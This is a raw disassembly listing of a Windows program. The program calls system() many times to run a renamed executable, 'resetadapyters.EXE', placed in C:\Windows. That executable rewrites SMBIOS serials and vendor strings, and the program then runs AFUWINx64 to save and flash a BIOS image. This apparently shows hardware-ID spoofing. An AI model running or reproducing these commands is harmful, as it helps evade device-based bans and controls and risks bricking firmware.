cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14003c381
mov r14, rdi
jmp 0x14003c3be
cmp rcx, 0x1000
jb 0x14003c3b6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140047a2f
mov rcx, rax
call fcn.1400c186c
test rax, rax
je 0x14003d264
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14003c3be
call fcn.1400c186c
mov r14, rax
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__SK]
movups xmmword [r14], xmm0
movups xmm1, xmmword [0x1400dce90]
movups xmmword [r14 + 0x10], xmm1
movzx eax, word [0x1400dcea0]
mov word [r14 + 0x20], ax
lea rcx, [r14 + 0x22]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x20]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003c44c
lea rax, [rcx + 5]
mov qword [rbp - 0x28], rax
lea rbx, [rbp - 0x38]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x38]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp - 0x38]
jmp 0x14003c470
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp - 0x38]
call fcn.14005a170
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rcx, qword [rbp + 0xe8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x14003c506
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c501
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c501
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1540
movdqu xmmword [rbp + 0xf8], xmm10
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14003c551
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c54c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d264
call fcn.1400c1540
movdqu xmmword [rbp - 0x28], xmm10
mov byte [rbp - 0x38], 0
mov r13, qword [rbp + 0x38e0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x22
jb 0x140047a29
lea r12, [rbp + 0x38d0]
cmp qword [rbp + 0x38e8], 0xf
cmova r12, qword [rbp + 0x38d0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea r15, [r13 + 0x22]
mov rbx, rsi
lea r14, [rbp - 0x18]
cmp r15, rbx
jbe 0x14003c62d
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14003c5d1
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003c602
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14003c5ec
mov r14, rdi
jmp 0x14003c629
cmp rcx, 0x1000
jb 0x14003c621
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140047a2f
mov rcx, rax
call fcn.1400c186c
test rax, rax
je 0x14003d264
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14003c629
call fcn.1400c186c
mov r14, rax
mov qword [rbp - 0x18], r14
mov qword [rbp - 8], r15
mov qword [rbp], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__SF]
movups xmmword [r14], xmm0
movups xmm1, xmmword [0x1400dceb8]
movups xmmword [r14 + 0x10], xmm1
movzx eax, word [0x1400dcec8]
mov word [r14 + 0x20], ax
lea rcx, [r14 + 0x22]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003c6b7
lea rax, [rcx + 5]
mov qword [rbp - 8], rax
lea rbx, [rbp - 0x18]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x18]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp - 0x18]
jmp 0x14003c6db
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp - 0x18]
call fcn.14005a170
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x118], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0xf
cmova rcx, qword [rbp + 0x108]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x14003c771
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c76c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c76c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1540
movdqu xmmword [rbp + 0x118], xmm10
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14003c7bc
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c7b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d264
call fcn.1400c1540
movdqu xmmword [rbp - 8], xmm10
mov byte [rbp - 0x18], 0
mov r13, qword [rbp + 0x3900]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x22
jb 0x140047a29
lea r12, [rbp + 0x38f0]
cmp qword [rbp + 0x3908], 0xf
cmova r12, qword [rbp + 0x38f0]
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
lea r15, [r13 + 0x22]
mov rbx, rsi
lea r14, [rbp + 8]
cmp r15, rbx
jbe 0x14003c898
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14003c83c
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003c86d
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14003c857
mov r14, rdi
jmp 0x14003c894
cmp rcx, 0x1000
jb 0x14003c88c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140047a2f
mov rcx, rax
call fcn.1400c186c
test rax, rax
je 0x14003d264
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14003c894
call fcn.1400c186c
mov r14, rax
mov qword [rbp + 8], r14
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__BT]
movups xmmword [r14], xmm0
movups xmm1, xmmword [0x1400dcee0]
movups xmmword [r14 + 0x10], xmm1
movzx eax, word [0x1400dcef0]
mov word [r14 + 0x20], ax
lea rcx, [r14 + 0x22]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x20]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003c922
lea rax, [rcx + 5]
mov qword [rbp + 0x18], rax
lea rbx, [rbp + 8]
cmp rdx, 0xf
cmova rbx, qword [rbp + 8]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp + 8]
jmp 0x14003c946
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp + 8]
call fcn.14005a170
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x138], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x138], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x128]
cmp qword [rbp + 0x140], 0xf
cmova rcx, qword [rbp + 0x128]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x14003c9dc
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c9d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c9d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1540
movdqu xmmword [rbp + 0x138], xmm10
mov byte [rbp + 0x128], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x14003ca27
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ca22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d264
call fcn.1400c1540
movdqu xmmword [rbp + 0x18], xmm10
mov byte [rbp + 8], 0
mov r13, qword [rbp + 0x3940]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x23
jb 0x140047a29
lea r12, [rbp + 0x3930]
cmp qword [rbp + 0x3948], 0xf
cmova r12, qword [rbp + 0x3930]
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
lea r15, [r13 + 0x23]
mov r14, rsi
lea rbx, [rbp + 0x28]
cmp r15, rsi
jbe 0x14003cb03
mov r14, r15
or r14, 0xf
cmp r14, rcx
jbe 0x14003caa7
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003cad8
cmp r14, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14003cac2
mov rbx, rdi
jmp 0x14003caff
cmp rcx, 0x1000
jb 0x14003caf7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140047a2f
mov rcx, rax
call fcn.1400c186c
test rax, rax
je 0x14003d264
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003caff
call fcn.1400c186c
mov rbx, rax
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], r14
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__BLC]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400dcf08]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400dcf18]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003cb94
lea rax, [rcx + 5]
mov qword [rbp + 0x38], rax
lea rbx, [rbp + 0x28]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x28]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp + 0x28]
jmp 0x14003cbb8
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp + 0x28]
call fcn.14005a170
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x158], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x148], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x158], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x148]
cmp qword [rbp + 0x160], 0xf
cmova rcx, qword [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x160]
cmp rdx, 0xf
jbe 0x14003cc4e
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003cc49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003cc49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1540
movdqu xmmword [rbp + 0x158], xmm10
mov byte [rbp + 0x148], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x14003cc99
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003cc94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d264
call fcn.1400c1540
movdqu xmmword [rbp + 0x38], xmm10
mov byte [rbp + 0x28], 0
lea rcx, str.C:Windows_resetadapyters.EXE__PSN__To_Be_Filled_By_O.E.M.___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__PSN__To_Be_Filled_By_O.E.M._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r13, qword [rbp + 0x3920]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x23
jb 0x140047a29
lea r12, [rbp + 0x3910]
cmp qword [rbp + 0x3928], 0xf
cmova r12, qword [rbp + 0x3910]
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
lea r15, [r13 + 0x23]
mov r14, rsi
lea rbx, [rbp + 0x48]
cmp r15, rsi
jbe 0x14003cd8f
mov r14, r15
or r14, 0xf
cmp r14, rcx
jbe 0x14003cd33
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003cd64
cmp r14, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14003cd4e
mov rbx, rdi
jmp 0x14003cd8b
cmp rcx, 0x1000
jb 0x14003cd83
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140047a2f
mov rcx, rax
call fcn.1400c186c
test rax, rax
je 0x14003d264
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003cd8b
call fcn.1400c186c
mov rbx, rax
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], r14
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__PAT]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400dcfb8]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400dcfc8]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003ce20
lea rax, [rcx + 5]
mov qword [rbp + 0x58], rax
lea rbx, [rbp + 0x48]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x48]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp + 0x48]
jmp 0x14003ce44
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp + 0x48]
call fcn.14005a170
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x178], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x168], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x178], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova rcx, qword [rbp + 0x168]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x180]
cmp rdx, 0xf
jbe 0x14003ceda
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ced5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003ced5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1540
movdqu xmmword [rbp + 0x178], xmm10
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14003cf25
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003cf20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d264
call fcn.1400c1540
movdqu xmmword [rbp + 0x58], xmm10
mov byte [rbp + 0x48], 0
mov r13, qword [rbp + 0x3820]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x23
jb 0x140047a29
lea r12, [rbp + 0x3810]
cmp qword [rbp + 0x3828], 0xf
cmova r12, qword [rbp + 0x3810]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea r15, [r13 + 0x23]
mov r14, rsi
lea rbx, [rsp + 0x48]
cmp r15, rsi
jbe 0x14003d005
mov r14, r15
or r14, 0xf
cmp r14, rcx
jbe 0x14003cfa8
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003cfd9
cmp r14, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14003cfc3
mov rbx, rdi
jmp 0x14003d000
cmp rcx, 0x1000
jb 0x14003cff8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140047a2f
mov rcx, rax
call fcn.1400c186c
test rax, rax
je 0x14003d264
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003d000
call fcn.1400c186c
mov rbx, rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r14
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__PPN]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400dcfe0]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400dcff0]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003d09e
lea rax, [rcx + 5]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x48]
jmp 0x14003d0c3
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rsp + 0x48]
call fcn.14005a170
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rcx, qword [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x14003d144
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d13f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003d13f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1540
movdqu xmmword [rbp + 0x78], xmm10
mov byte [rbp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14003d18b
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d186
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d264
call fcn.1400c1540
movdqu xmmword [rsp + 0x58], xmm10
mov byte [rsp + 0x48], 0
mov r15, qword [rbp + 0x3840]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x23
jb 0x140047a29
lea r12, [rbp + 0x3830]
cmp qword [rbp + 0x3848], 0xf
cmova r12, qword [rbp + 0x3830]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d8], xmm1
lea r14, [r15 + 0x23]
lea rbx, [rbp + 0x1c8]
cmp r14, 0xf
jbe 0x14003d27a
mov rsi, r14
or rsi, 0xf
cmp rsi, rcx
jbe 0x14003d231
mov rsi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400c186c
test rax, rax
je 0x14003d264
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003d273
cmp rsi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x14003d24c
mov rbx, rdi
jmp 0x14003d273
cmp rcx, 0x1000
jb 0x14003d26b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140047a2f
jmp 0x14003d216
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c186c
mov rbx, rax
mov qword [rbp + 0x1c8], rbx
mov qword [rbp + 0x1d8], r14
mov qword [rbp + 0x1e0], rsi
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__CSK]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400dce40]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400dce50]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
lea r8, str.__nul
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x26a0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x26a0]
call fcn.140058900
nop
lea rcx, [rbp + 0x1c8]
call fcn.140058900
lea r8, [rbp + 0x3950]
lea rdx, str.C:Windows_resetadapyters.EXE__CS
lea rcx, [rbp + 0x26e0]
call fcn.140059490
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x26c0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x26c0]
call fcn.140058900
nop
lea rcx, [rbp + 0x26e0]
call fcn.140058900
lea r8, [rbp + 0x3970]
lea rdx, str.C:Windows_resetadapyters.EXE__BS
lea rcx, [rbp + 0x2700]
call fcn.140059490
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x22c0]
call fcn.140059390
mov rcx, rax
call fcn.1400588f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x22c0]
call fcn.140058900
nop
lea rcx, [rbp + 0x2700]
call fcn.140058900
lea rcx, str.C:Windows_resetadapyters.EXE__SV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__SP__MS_7D22_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__SM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__BM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__BP__H510M_A_PRO__MS_7D22__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__BV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CA__Default_string_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CO__0000_0000h_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__CT__03h_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__IV__3.80_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__IVN__American_Megatrends_International__LLC._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32AFUWINx64.exe_BIOS.rom__o
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32AFUWINx64.exe_BIOS.rom__p
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.ZOIP]
movups xmmword [rbp + 0x1a10], xmm0
movups xmm1, xmmword [0x1400e0030]
movups xmmword [rbp + 0x1a20], xmm1
